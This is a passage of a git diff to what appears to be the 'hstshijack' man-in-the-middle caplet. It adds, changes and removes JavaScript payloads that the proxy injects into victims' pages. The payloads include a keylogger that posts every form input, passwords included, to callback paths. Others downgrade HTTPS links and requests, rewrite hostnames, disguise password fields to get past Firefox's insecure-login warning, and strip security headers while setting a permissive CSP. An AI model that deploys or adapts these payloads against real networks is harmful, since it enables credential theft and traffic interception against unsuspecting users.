+    res.RemoveHeader("Public-Key-Pins-Report-Only");
+    res.RemoveHeader("X-Frame-Options");
+    res.RemoveHeader("X-Content-Type-Options");
+    res.RemoveHeader("X-Download-Options");
+    res.RemoveHeader("X-Permitted-Cross-Domain-Policies");
+    res.RemoveHeader("X-XSS-Protection");
+    res.RemoveHeader("Expect-Ct");
+
+    /* Set insecure headers. */
+    res.SetHeader("Content-Security-Policy", "default-src * data: blob: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: 'unsafe-inline'; object-src * data: blob: 'unsafe-inline'; style-src * data: blob: 'unsafe-inline'; report-uri x");
+    res.SetHeader("X-WebKit-CSP", "default-src * data: blob: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: 'unsafe-inline'; object-src * data: blob: 'unsafe-inline'; style-src * data: blob: 'unsafe-inline'; report-uri x");
+    res.SetHeader("X-Content-Security-Policy", "default-src * data: blob: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: 'unsafe-inline'; object-src * data: blob: 'unsafe-inline'; style-src * data: blob: 'unsafe-inline'; report-uri x");
+    res.SetHeader("Access-Control-Allow-Origin", "*");
+    res.SetHeader("Access-Control-Allow-Methods", "*");
+    res.SetHeader("Access-Control-Allow-Headers", "*");
+    res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate");
+    res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT");
+    res.SetHeader("Pragma", "no-cache");
+  }
 }
+
diff --git a/hstshijack/index.json b/hstshijack/index.json
new file mode 100644
index 0000000..e69de29
diff --git a/hstshijack/payloads/firefox-bypass-password-warning.js b/hstshijack/payloads/firefox-bypass-password-warning.js
deleted file mode 100644
index f7fecc2..0000000
--- a/hstshijack/payloads/firefox-bypass-password-warning.js
+++ /dev/null
@@ -1,60 +0,0 @@
-if (navigator.userAgent.match(/firefox/i)) {
-
-	const obf_func_attack_942 = async () => {
-		const obf_var_password_fields_942 = document.querySelectorAll("input[type=password]");
-		const obf_var_allowed_chars_942 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 `-=~!@#$%^&*()_+[]\\;',./{}|:\"<>?";
-		for (var i = 0; i < obf_var_password_fields_942.length; i++) {
-			const obf_var_password_field_942 = obf_var_password_fields_942[i];
-			obf_var_spoofed_field_942 = obf_var_password_field_942.cloneNode(true);
-			obf_var_spoofed_field_942.type = "text";
-			obf_var_password_field_942.type = "text";
-			obf_var_password_field_942.value = "";
-			obf_var_spoofed_field_942.addEventListener("keydown", async(EVENT)=>{
-				const obf_var_cursor_start_942 = obf_var_spoofed_field_942.selectionStart;
-				const obf_var_cursor_end_942 = obf_var_spoofed_field_942.selectionEnd;
-				if (!EVENT.ctrlKey && EVENT.keyCode != 16 && EVENT.keyCode != 18 && EVENT.keyCode != 9 && EVENT.keyCode != 37 && EVENT.keyCode != 39) {
-					if (EVENT.keyCode == 8) {
-						EVENT.preventDefault();
-						if (obf_var_cursor_start_942 != obf_var_cursor_end_942) {
-							obf_var_spoofed_field_942.value = obf_var_spoofed_field_942.value.substr(0, obf_var_cursor_start_942) + obf_var_spoofed_field_942.value.substr(obf_var_cursor_end_942);
-							obf_var_password_field_942.value = obf_var_password_field_942.value.substr(0, obf_var_cursor_start_942) + obf_var_password_field_942.value.substr(obf_var_cursor_end_942);
-							obf_var_spoofed_field_942.selectionStart = obf_var_cursor_start_942;
-							obf_var_spoofed_field_942.selectionEnd = obf_var_cursor_start_942;
-						} else {
-							obf_var_spoofed_field_942.value = obf_var_spoofed_field_942.value.substr(0, obf_var_cursor_start_942-1) + obf_var_spoofed_field_942.value.substr(obf_var_cursor_end_942);
-							obf_var_password_field_942.value = obf_var_password_field_942.value.substr(0, obf_var_cursor_start_942-1) + obf_var_password_field_942.value.substr(obf_var_cursor_end_942);
-							obf_var_spoofed_field_942.selectionStart = obf_var_cursor_start_942 > 0 ? (obf_var_cursor_start_942-1) : 0;
-							obf_var_spoofed_field_942.selectionEnd = obf_var_cursor_start_942 > 0 ? (obf_var_cursor_start_942-1) : 0;
-						}
-					} else if (EVENT.keyCode == 46) {
-						EVENT.preventDefault();
-						if (obf_var_cursor_start_942 != obf_var_cursor_end_942) {
-							obf_var_spoofed_field_942.value = obf_var_spoofed_field_942.value.substr(0, obf_var_cursor_start_942) + obf_var_spoofed_field_942.value.substr(obf_var_cursor_end_942);
-							obf_var_password_field_942.value = obf_var_password_field_942.value.substr(0, obf_var_cursor_start_942) + obf_var_password_field_942.value.substr(obf_var_cursor_end_942);
-						} else {
-							obf_var_spoofed_field_942.value = obf_var_spoofed_field_942.value.substr(0, obf_var_cursor_start_942) + obf_var_spoofed_field_942.value.substr(obf_var_cursor_end_942+1);
-							obf_var_password_field_942.value = obf_var_password_field_942.value.substr(0, obf_var_cursor_start_942) + obf_var_password_field_942.value.substr(obf_var_cursor_end_942+1);
-						}
-						obf_var_spoofed_field_942.selectionStart = obf_var_cursor_start_942;
-						obf_var_spoofed_field_942.selectionEnd = obf_var_cursor_start_942;
-					} else if (obf_var_allowed_chars_942.indexOf(EVENT.key) != -1) {
-						EVENT.preventDefault();
-						obf_var_password_field_942.value = obf_var_password_field_942.value.substr(0, obf_var_cursor_start_942) + EVENT.key + obf_var_password_field_942.value.substr(obf_var_cursor_end_942);
-						obf_var_spoofed_field_942.value = "•".repeat(obf_var_password_field_942.value.length);
-						obf_var_spoofed_field_942.selectionStart = obf_var_cursor_start_942+1;
-						obf_var_spoofed_field_942.selectionEnd = obf_var_cursor_start_942+1;
-					}
-				}
-			});
-			obf_var_password_field_942.before(obf_var_spoofed_field_942);
-			obf_var_password_field_942.style.display = "none";
-		}
-	}
-
-	try	{
-		document.addEventListener("DOMContentLoaded", obf_func_attack_942);
-	} catch (obf_var_ignore_942) {
-		self.addEventListener("load", obf_func_attack_942);
-	}
-
-}
diff --git a/hstshijack/payloads/google.js b/hstshijack/payloads/google.js
deleted file mode 100644
index 177f00f..0000000
--- a/hstshijack/payloads/google.js
+++ /dev/null
@@ -1,19 +0,0 @@
-const obf_func_attack_8528027 = async () => {
-	try {
-		document.querySelectorAll("div.rc div.r a").forEach(async(obf_a_8528027)=>{
-			obf_a_8528027.onmousedown = function(){};
-			obf_a_8528027.onclick = function(){};
-			obf_a_8528027.href = obf_a_8528027.href.replace(/(?:.*url[?]q=|url=)/ig, "").replace(/&.*/g, "").replace(/(http)[s]?:\/\//ig, "$1://");
-		});
-	} catch(obf_var_ignore_8528027){}
-}
-
-obf_func_attack_8528027();
-
-setInterval(obf_func_attack_8528027, 666);
-
-try {
-	document.addEventListener("DOMContentLoaded", obf_func_attack_8528027);
-} catch(obf_var_ignore_8528027) {
-	self.addEventListener("load", obf_func_attack_8528027);
-}
diff --git a/hstshijack/payloads/hijack.js b/hstshijack/payloads/hijack.js
new file mode 100644
index 0000000..8775b99
--- /dev/null
+++ b/hstshijack/payloads/hijack.js
@@ -0,0 +1,222 @@
+/*
+  Hooks XMLHttpRequest as well as 'a', 'form', 'script' & 'iframe' nodes.
+  This payload is essential for hostname replacements.
+
+  Remember that any occurrence of 'obf_path_ssl_log', 'obf_path_callback' and
+  'obf_path_whitelist' in this payload will be replaced when the proxy module
+  loads and that variable names 'obf_var_target_hosts' and 'obf_var_replacement_hosts'
+  are already declared before this is injected.
+*/
+
+var obf_func_open = XMLHttpRequest.prototype.open,
+    obf_var_XMLHttpRequest = new XMLHttpRequest(),
+    obf_var_callback_log = [];
+
+function obf_func_toWholeRegexpSet(obf_var_selector_string, obf_var_replacement_string) {
+  if (obf_var_selector_string.indexOf("*") != -1) {
+    obf_var_selector_string = obf_var_selector_string.replace(/\-/g, "\\-");
+    if (obf_var_selector_string.match(/^\*./)) {
+      obf_var_selector_string = obf_var_selector_string.replace(/^\*\./, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+      obf_var_selector_string = obf_var_selector_string.replace(/\./g, "\\.");
+      obf_var_replacement_string = obf_var_replacement_string.replace(/^\*\./, "");
+      return [
+        new RegExp("^" + obf_var_selector_string + "$", "ig"),
+        "$1" + obf_var_replacement_string
+      ];
+    } else if (obf_var_selector_string.match(/\.\*$/)) {
+      obf_var_selector_string = obf_var_selector_string.replace(/\.\*/g, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+      obf_var_selector_string = obf_var_selector_string.replace(/\./g, "\\.");
+      obf_var_replacement_string = obf_var_replacement_string.replace(/\.\*$/, "");
+      return [
+        new RegExp(obf_var_selector_string, "ig"),
+        obf_var_replacement_string + "$1"
+      ];
+    }
+  } else {
+    obf_var_selector_string = obf_var_selector_string.replace(/\./g, "\\.");
+    obf_var_selector_string = obf_var_selector_string.replace(/\-/g, "\\-");
+    return [
+      new RegExp("^" + obf_var_selector_string + "$", "ig"),
+      obf_var_replacement_string
+    ];
+  }
+}
+
+function obf_func_parseURL(obf_var_url) {
+  obf_var_strippedURL = obf_var_url.replace(/^\s*(.*)\s*$/g, "$1");
+  obf_var_retval = ["","","","","",""];
+  if (obf_var_strippedURL.match(/^((?:\w+:)?\/\/).*$/i)) {
+    obf_var_retval[0] = obf_var_strippedURL.replace(/^((?:\w+:)?\/\/).*$/i, "$1");
+  }
+  if (obf_var_strippedURL.match(/^(?:(?:(?:\w+:)?\/\/)((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))(?:[:][1-9][0-9]{0,4})?)(?:[/][^/].*$|[/]$|[?#].*$|$)/i)) {
+    obf_var_retval[1] = obf_var_strippedURL.replace(/^(?:(?:(?:\w+:)?\/\/)((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))(?:[:][1-9][0-9]{0,4})?)(?:[/][^/].*$|[/]$|[?#].*$|$)/i, "$1");
+  }
+  if (obf_var_strippedURL.match(/^(?:(?:(?:\w+:)?\/\/)?(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))([:][1-9][0-9]{0,4}).*/i)) {
+    obf_var_retval[2] = obf_var_strippedURL.replace(/^(?:(?:(?:\w+:)?\/\/)?(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))([:][1-9][0-9]{0,4}).*$/i, "$1");
+  }
+  if (obf_var_strippedURL.match(/^(?:(?:\w+:)?\/\/(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))(?:[:][1-9][0-9]{0,4})?)?([/][^?#]*).*/i)) {
+    obf_var_retval[3] = obf_var_strippedURL.replace(/^(?:(?:\w+:)?\/\/)?[^/?#]*([/][^?#]*).*$/i, "$1");
+  }
+  if (obf_var_strippedURL.match(/^.*?([?][^#]*).*/i)) {
+    obf_var_retval[4] = obf_var_strippedURL.replace(/^.*?([?][^#]*).*$/i, "$1");
+  }
+  if (obf_var_strippedURL.match(/^[^#]*([#].*)/i)) {
+    obf_var_retval[5] = obf_var_strippedURL.replace(/^[^#]*([#].*)/i, "$1");
+  }
+  return obf_var_retval;
+}
+
+function obf_func_callback(obf_var_host) {
+  for (
+    obf_var_i = 0;
+    obf_var_i < obf_var_callback_log.length;
+    obf_var_i++
+  ) {
+    if (obf_var_callback_log[i] == obf_var_host) {
+      return;
+    }
+  }
+  obf_var_callback_log.push(obf_var_host);
+  obf_var_req = obf_var_XMLHttpRequest;
+  obf_var_req.open(
+    "GET",
+    "http://" + location.host + "/obf_path_ssl_log?" + obf_var_host,
+    true);
+  obf_var_req.send();
+}
+
+function obf_func_hijack(obf_var_host) {
+  for (
+    obf_var_i = 0;
+    obf_var_i < obf_var_target_hosts.length;
+    obf_var_i++
+  ) {
+    obf_var_whole_regexp_set = obf_func_toWholeRegexpSet(
+      obf_var_target_hosts[obf_var_i],
+      obf_var_replacement_hosts[obf_var_i]);
+    if (obf_var_host.match(obf_var_whole_regexp_set[0])) {
+      obf_var_host = obf_var_host.replace(
+        obf_var_whole_regexp_set[0],
+        obf_var_whole_regexp_set[1]);
+      break;
+    }
+  }
+  return obf_var_host;
+}
+
+function obf_func_hook_XMLHttpRequest() {
+  XMLHttpRequest.prototype.open = function(
+    obf_var_method,
+    obf_var_url,
+    obf_var_async,
+    obf_var_username,
+    obf_var_password
+  ) {
+    obf_var_parsed_url = obf_func_parseURL(obf_var_url);
+    obf_var_hijacked_host = obf_func_hijack(obf_var_parsed_url[1]);
+    if (obf_var_hijacked_host != obf_var_parsed_url[1]) {
+      if (obf_var_parsed_url[0].toLowerCase() === "https://") {
+        obf_var_parsed_url[0] = obf_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
+      }
+      if (obf_var_parsed_url[2] === ":443") {
+        obf_var_parsed_url[2] = "";
+      }
+    }
+    obf_var_url = obf_var_parsed_url[0] +
+      obf_var_hijacked_host +
+      obf_var_parsed_url[2] +
+      obf_var_parsed_url[3] +
+      obf_var_parsed_url[4] +
+      obf_var_parsed_url[5];
+    return obf_func_open.apply(this, arguments);
+  }
+}
+
+function obf_func_hook_nodes() {
+  document.querySelectorAll("a,form,script,iframe").forEach(function(obf_var_node){
+    try {
+      obf_var_url = "";
+      switch (obf_var_node.tagName) {
+        case "A":
+          obf_var_node.href
+            ? obf_var_url = obf_var_node.href
+            : "";
+          break;
+        case "FORM":
+          obf_var_node.action
+            ? obf_var_url = obf_var_node.action
+            : "";
+          break;
+        case "SCRIPT":
+          obf_var_node.src
+            ? obf_var_url = obf_var_node.src
+            : "";
+          break;
+        case "IFRAME":
+          obf_var_node.src
+            ? obf_var_url = obf_var_node.src
+            : "";
+          break;
+      }
+      if (obf_var_url.match(/^\s*(?:http[s]?:)?\/\/[^:/?#]+/i)) {
+        obf_var_parsed_url = obf_func_parseURL(obf_var_url);
+        obf_var_hijacked_host = obf_func_hijack(obf_var_parsed_url[1]);
+        if (obf_var_hijacked_host != obf_var_parsed_url[1]) {
+          if (obf_var_parsed_url[0].toLowerCase() === "https://") {
+            obf_var_parsed_url[0] = obf_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
+          }
+          if (obf_var_parsed_url[2] === ":443") {
+            obf_var_parsed_url[2] = "";
+          }
+        }
+        obf_var_hijacked_url = obf_var_parsed_url[0] +
+          obf_var_hijacked_host +
+          obf_var_parsed_url[2] +
+          obf_var_parsed_url[3] +
+          obf_var_parsed_url[4] +
+          obf_var_parsed_url[5];
+        switch (obf_var_node.tagName) {
+          case "A":
+            if (obf_var_node.href) {
+              obf_var_node.href = obf_var_hijacked_url;
+            }
+            break;
+          case "FORM":
+            if (obf_var_node.action) {
+              obf_var_node.action = obf_var_hijacked_url;
+            }
+            break;
+          case "SCRIPT":
+            if (obf_var_node.src) {
+              obf_var_node.src = obf_var_hijacked_url;
+            }
+            break;
+          case "IFRAME":
+            if (obf_var_node.src) {
+              obf_var_node.src = obf_var_hijacked_url;
+            }
+            break;
+        }
+        obf_func_callback(obf_var_parsed_url[1].toLowerCase());
+      }
+    } catch(obf_var_ignore) {}
+  });
+}
+
+try {
+  obf_func_hook_XMLHttpRequest();
+} catch(obf_var_ignore) {}
+
+try {
+  setInterval(obf_func_hook_nodes, 2000);
+  obf_func_hook_nodes();
+} catch(obf_var_ignore) {}
+
+try {
+  globalThis.addEventListener("load", obf_func_hook_nodes);
+} catch(obf_var_ignore) {}
+
+try {
+  document.addEventListener("DOMContentLoaded", obf_func_hook_nodes);
+} catch(obf_var_ignore) {}
+
diff --git a/hstshijack/payloads/keylogger.js b/hstshijack/payloads/keylogger.js
index 487169d..7a96cd0 100644
--- a/hstshijack/payloads/keylogger.js
+++ b/hstshijack/payloads/keylogger.js
@@ -1,80 +1,134 @@
-function obf_func_callback_37423() {
-	try {
-		obf_var_inputs_37423 = document.getElementsByTagName("input");
-		obf_var_textareas_37423 = document.getElementsByTagName("textarea");
-		obf_var_params_37423 = "";
-
-		for (var obf_var_i_37423 = 0; obf_var_i_37423 < obf_var_inputs_37423.length; obf_var_i_37423++) {
-			if (obf_var_inputs_37423[obf_var_i_37423].value != "") {
-				obf_var_params_37423 += encodeURIComponent(obf_var_inputs_37423[obf_var_i_37423].name) + "=" + encodeURIComponent(obf_var_inputs_37423[obf_var_i_37423].value) + ( obf_var_i_37423 < (obf_var_inputs_37423.length-1) ? "&" : "" );
-			}
-		}
-		for (var obf_var_i_37423 = 0; obf_var_i_37423 < obf_var_textareas_37423.length; obf_var_i_37423++) {
-			if (obf_var_textareas_37423[obf_var_i_37423].value != "") {
-				obf_var_params_37423 += encodeURIComponent(obf_var_textareas_37423[obf_var_i_37423].name) + "=" + encodeURIComponent(obf_var_textareas_37423[obf_var_i_37423].value) + ( obf_var_i_37423 < (obf_var_textareas_37423.length-1) ? "&" : "" );
-			}
-		}
-
-		if (obf_var_params_37423.length > 0) {
-			obf_var_req_37423 = new XMLHttpRequest();
-			obf_var_req_37423.open("POST", "http://" + location.host + "/obf_path_callback?" + obf_var_params_37423, true);
-			obf_var_req_37423.send();
-		}
-	} catch(obf_ignore_37423){}
+/*
+  Hooks the keyup event and onsubmit events of forms and disables form autocompletion.
+
+  Remember that any occurrence of 'obf_path_ssl_log', 'obf_path_callback' and
+  'obf_path_whitelist' in this payload will be replaced when the proxy module
+  loads and that variable names 'obf_var_target_hosts' and 'obf_var_replacement_hosts'
+  are already declared before this is injected.
+*/
+
+function obf_func_random_string(obf_var_length) {
+  var obf_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
+      obf_var_buff  = new Array(ob_var_length);
+  for (obf_var_i = 0; obf_var_i < obf_var_length; obf_var_i++) {
+    obf_var_buff[obf_var_i] = obf_var_chars.charAt(parseInt(Math.random() * obf_var_chars.length));
+  }
+  return obf_var_buff.join("");
+}
+
+function obf_func_callback() {
+  try {
+    obf_var_inputs = document.getElementsByTagName("input");
+    obf_var_textareas = document.getElementsByTagName("textarea");
+    obf_var_params = "";
+
+    for (obf_var_i = 0; obf_var_i < obf_var_inputs.length; obf_var_i++) {
+      if (obf_var_inputs[obf_var_i].value != "") {
+        obf_var_params += encodeURIComponent(obf_var_inputs[obf_var_i].name) +
+          "=" + encodeURIComponent(obf_var_inputs[obf_var_i].value) +
+          (obf_var_i < (obf_var_inputs.length-1) ? "&" : "");
+      }
+    }
+    for (obf_var_i = 0; obf_var_i < obf_var_textareas.length; obf_var_i++) {
+      if (obf_var_textareas[obf_var_i].value != "") {
+        obf_var_params += encodeURIComponent(obf_var_textareas[obf_var_i].name) +
+          "=" + encodeURIComponent(obf_var_textareas[obf_var_i].value) +
+          (obf_var_i < (obf_var_textareas.length-1) ? "&" : "");
+      }
+    }
+
+    if (obf_var_params.length > 0) {
+      obf_var_req = new XMLHttpRequest();
+      obf_var_req.open(
+        "POST",
+        "http://" + location.host + "obf_path_callback?" + obf_var_params,
+        true);
+      obf_var_req.send();
+    }
+  } catch(obf_var_ignore){}
 }
 
-function obf_func_whitelist_37423() {
-	try {
-		obf_var_inputs_37423 = document.getElementsByTagName("input");
-		obf_var_textareas_37423 = document.getElementsByTagName("textarea");
-		obf_var_params_37423 = "";
-
-		for (var obf_var_i_37423 = 0; obf_var_i_37423 < obf_var_inputs_37423.length; obf_var_i_37423++) {
-			if (obf_var_inputs_37423[obf_var_i_37423].value != "") {
-				obf_var_params_37423 += encodeURIComponent(obf_var_inputs_37423[obf_var_i_37423].name) + "=" + encodeURIComponent(obf_var_inputs_37423[obf_var_i_37423].value) + ( obf_var_i_37423 < (obf_var_inputs_37423.length-1) ? "&" : "" );
-			}
-		}
-		for (var obf_var_i_37423 = 0; obf_var_i_37423 < obf_var_textareas_37423.length; obf_var_i_37423++) {
-			if (obf_var_textareas_37423[obf_var_i_37423].value != "") {
-				obf_var_params_37423 += encodeURIComponent(obf_var_textareas_37423[obf_var_i_37423].name) + "=" + encodeURIComponent(obf_var_textareas_37423[obf_var_i_37423].value) + ( obf_var_i_37423 < (obf_var_textareas_37423.length-1) ? "&" : "" );
-			}
-		}
-
-		if (obf_var_params_37423.length > 0) {
-			obf_var_req_37423 = new XMLHttpRequest();
-			obf_var_req_37423.open("POST", "http://" + location.host + "/obf_path_whitelist?" + obf_var_params_37423, true);
-			obf_var_req_37423.send();
-		}
-	} catch(obf_ignore_37423){}
+function obf_func_callback_whitelist() {
+  try {
+    obf_var_inputs = document.getElementsByTagName("input");
+    obf_var_textareas = document.getElementsByTagName("textarea");
+    obf_var_params = "";
+
+    for (var obf_var_i = 0; obf_var_i < obf_var_inputs.length; obf_var_i++) {
+      if (obf_var_inputs[obf_var_i].value != "") {
+        obf_var_params += encodeURIComponent(obf_var_inputs[obf_var_i].name) +
+          "=" + encodeURIComponent(obf_var_inputs[obf_var_i].value) +
+          (obf_var_i < (obf_var_inputs.length-1) ? "&" : "");
+      }
+    }
+    for (var obf_var_i = 0; obf_var_i < obf_var_textareas.length; obf_var_i++) {
+      if (obf_var_textareas[obf_var_i].value != "") {
+        obf_var_params += encodeURIComponent(obf_var_textareas[obf_var_i].name) +
+          "=" + encodeURIComponent(obf_var_textareas[obf_var_i].value) +
+          (obf_var_i < (obf_var_textareas.length-1) ? "&" : "");
+      }
+    }
+
+    if (obf_var_params.length > 0) {
+      obf_var_req = new XMLHttpRequest();
+      obf_var_req.open(
+        "POST",
+        "http://" + location.host + "obf_path_whitelist?" + obf_var_params,
+        true);
+      obf_var_req.send();
+    }
+  } catch(obf_var_ignore){}
 }
 
-self.addEventListener("keyup", function(obf_var_event_37423) {
-	try {
-		if (obf_var_event_37423.target.tagName.match(/INPUT|TEXTAREA/)) {
-			obf_func_callback_37423();
-		}
-	} catch(obf_ignore_37423){}
-});
-
-function obf_func_attack_37423() {
-	document.querySelectorAll("form").forEach(function(obf_var_form_37423){
-		obf_var_form_37423.addEventListener("submit", obf_func_callback_37423);
-		if (obf_var_form_37423.querySelector("input[type=password]")) {
-			obf_var_form_37423.addEventListener("submit", obf_func_whitelist_37423);
-		}
-	});
-
-	document.querySelectorAll("input").forEach(function(obf_var_input_37423){
-		obf_var_input_37423.autocomplete = "off";
-	});
+function obf_func_hook_keyup() {
+  globalThis.addEventListener("keyup", function(obf_var_event) {
+    try {
+      if (obf_var_event.target.tagName.match(/INPUT|TEXTAREA/)) {
+        obf_func_callback();
+      }
+    } catch(obf_var_ignore){}
+  });
 }
 
-try {
-	obf_func_attack_37423();
-} catch(obf_ignore_37423){
-	try {
-		document.addEventListener("DOMContentLoaded", obf_func_attack_37423);
-	} catch(obf_ignore_37423){
-		self.addEventListener("load", obf_func_attack_37423);
-	}
+function obf_func_hook_forms() {
+  document.querySelectorAll("form").forEach(function(obf_var_form){
+    if (obf_var_form.querySelector("input[type=password]")) {
+      obf_var_form.addEventListener("submit", obf_func_callback_whitelist);
+    } else {
+      obf_var_form.addEventListener("submit", obf_func_callback);
+    }
+  });
 }
+
+function obf_func_hook_inputs() {
+  document.querySelectorAll("input").forEach(function(obf_var_input){
+    obf_var_input.autocomplete = "off";
+  });
+}
+
+obf_var_hooked_tag = obf_func_random_string(8 + Math.random() * 8);
+
+try {
+  obf_func_hook_keyup();
+} catch(obf_var_ignore){}
+
+try {
+  obf_func_hook_forms();
+} catch(obf_var_ignore){}
+
+try {
+  obf_func_hook_inputs();
+} catch(obf_var_ignore){}
+
+try {
+  document.addEventListener("DOMContentLoaded", obf_func_hook_forms);
+  document.addEventListener("DOMContentLoaded", obf_func_hook_inputs);
+} catch(obf_var_ignore) {}
+
+try {
+  globalThis.addEventListener("load", obf_func_hook_forms);
+  globalThis.addEventListener("load", obf_func_hook_inputs);
+  setInterval(obf_func_hook_forms, 2000);
+  setInterval(obf_func_hook_inputs, 2000);
+} catch(obf_var_ignore){}
+
diff --git a/hstshijack/payloads/sslstrip.js b/hstshijack/payloads/sslstrip.js
index 70af6ff..8947824 100644
--- a/hstshijack/payloads/sslstrip.js
+++ b/hstshijack/payloads/sslstrip.js
@@ -1,26 +1,68 @@
-(function() {
-	var obf_open_399385 = XMLHttpRequest.prototype.open;
-	XMLHttpRequest.prototype.open = function(obf_var_method_399385, obf_var_url_399385, obf_var_async_399385, obf_var_username_399385, obf_var_password_399385) {
-		obf_var_url_399385 = obf_var_url_399385.replace(/(http)s/ig, "$1");
-		return obf_open_399385.apply(this, arguments);
-	}
-})();
-
-function obf_func_attack_399385() {
-	document.querySelectorAll("a,iframe,script,form").forEach(function(obf_var_node_399385){
-		switch (obf_var_node_399385.tagName) {
-			case "A": obf_var_node_399385.href && obf_var_node_399385.href.match(/https/i) ? obf_var_node_399385.href = obf_var_node_399385.href.replace(/(http)s/ig, "$1") : ""; break;
-			case "IFRAME": obf_var_node_399385.src && obf_var_node_399385.src.match(/https/i) ? obf_var_node_399385.src = obf_var_node_399385.src.replace(/(http)s/ig, "$1") : ""; break;
-			case "SCRIPT": obf_var_node_399385.src && obf_var_node_399385.src.match(/https/i) ? obf_var_node_399385.src = obf_var_node_399385.src.replace(/(http)s/ig, "$1") : ""; break;
-			case "FORM": obf_var_node_399385.action && obf_var_node_399385.action.match(/https/i) ? obf_var_node_399385.action = obf_var_node_399385.action.replace(/(http)s/ig, "$1") : ""; break;
-		}
-	});
+/*
+  Hooks XMLHttpRequest as well as 'a', 'form', 'script' & 'iframe' nodes.
+
+  Remember that any occurrence of 'obf_path_ssl_log', 'obf_path_callback' and
+  'obf_path_whitelist' in this payload will be replaced when the proxy module
+  loads and that variable names 'obf_var_target_hosts' and 'obf_var_replacement_hosts'
+  are already declared before this is injected.
+*/
+
+var obf_func_open = XMLHttpRequest.prototype.open;
+
+function obf_func_hook_XMLHttpRequest() {
+  XMLHttpRequest.prototype.open = function(
+    obf_var_method,
+    obf_var_url,
+    obf_var_async,
+    obf_var_username,
+    obf_var_password
+  ) {
+    obf_var_url = obf_var_url.replace(/(http)s/ig, "$1");
+    return obf_func_open.apply(this, arguments);
+  }
 }
 
-setInterval(obf_func_attack_399385, 666);
+function obf_func_hook_nodes() {
+  document.querySelectorAll("a,iframe,script,form").forEach(function(obf_var_node){
+    try {
+      switch (obf_var_node.tagName) {
+        case "A":
+          if (obf_var_node.href && obf_var_node.href.match(/^\s*https:/i)) {
+            obf_var_node.href = obf_var_node.href.replace(/(http)s/i, "$1");
+          }
+          break;
+        case "IFRAME":
+          if (obf_var_node.src && obf_var_node.src.match(/^\s*https:/i)) {
+            obf_var_node.src = obf_var_node.src.replace(/(http)s/i, "$1");
+          }
+          break;
+        case "SCRIPT":
+          if (obf_var_node.src && obf_var_node.src.match(/^\s*https:/i)) {
+            obf_var_node.src = obf_var_node.src.replace(/(http)s/i, "$1");
+          }
+          break;
+        case "FORM":
+          if (obf_var_node.action && obf_var_node.action.match(/^\s*https:/i)) {
+            obf_var_node.action = obf_var_node.action.replace(/(http)s/i, "$1");
+          }
+          break;
+      }
+    } catch(obf_var_ignore) {}
+  });
+}
 
 try {
-	document.addEventListener("DOMContentLoaded", obf_func_attack_399385);
-} catch(obf_ignore_399385) {
-	self.addEventListener("load", obf_func_attack_399385);
-}
+  obf_func_hook_XMLHttpRequest();
+} catch(obf_var_ignore) {}
+
+try {
+  obf_func_hook_nodes();
+} catch(obf_var_ignore) {}
+
+try {
+  obf_func_hook_XMLHttpRequest();
+  document.addEventListener("DOMContentLoaded", obf_func_hook_nodes);
+  self.addEventListener("load", obf_func_hook_nodes);
+  setInterval(obf_func_hook_nodes, 4000);
+} catch(obf_var_ignore) {}
+
diff --git a/hstshijack/ssl.log b/hstshijack/ssl.log
deleted file mode 100644
index 8b13789..0000000
--- a/hstshijack/ssl.log
+++ /dev/null
@@ -1 +0,0 @@
-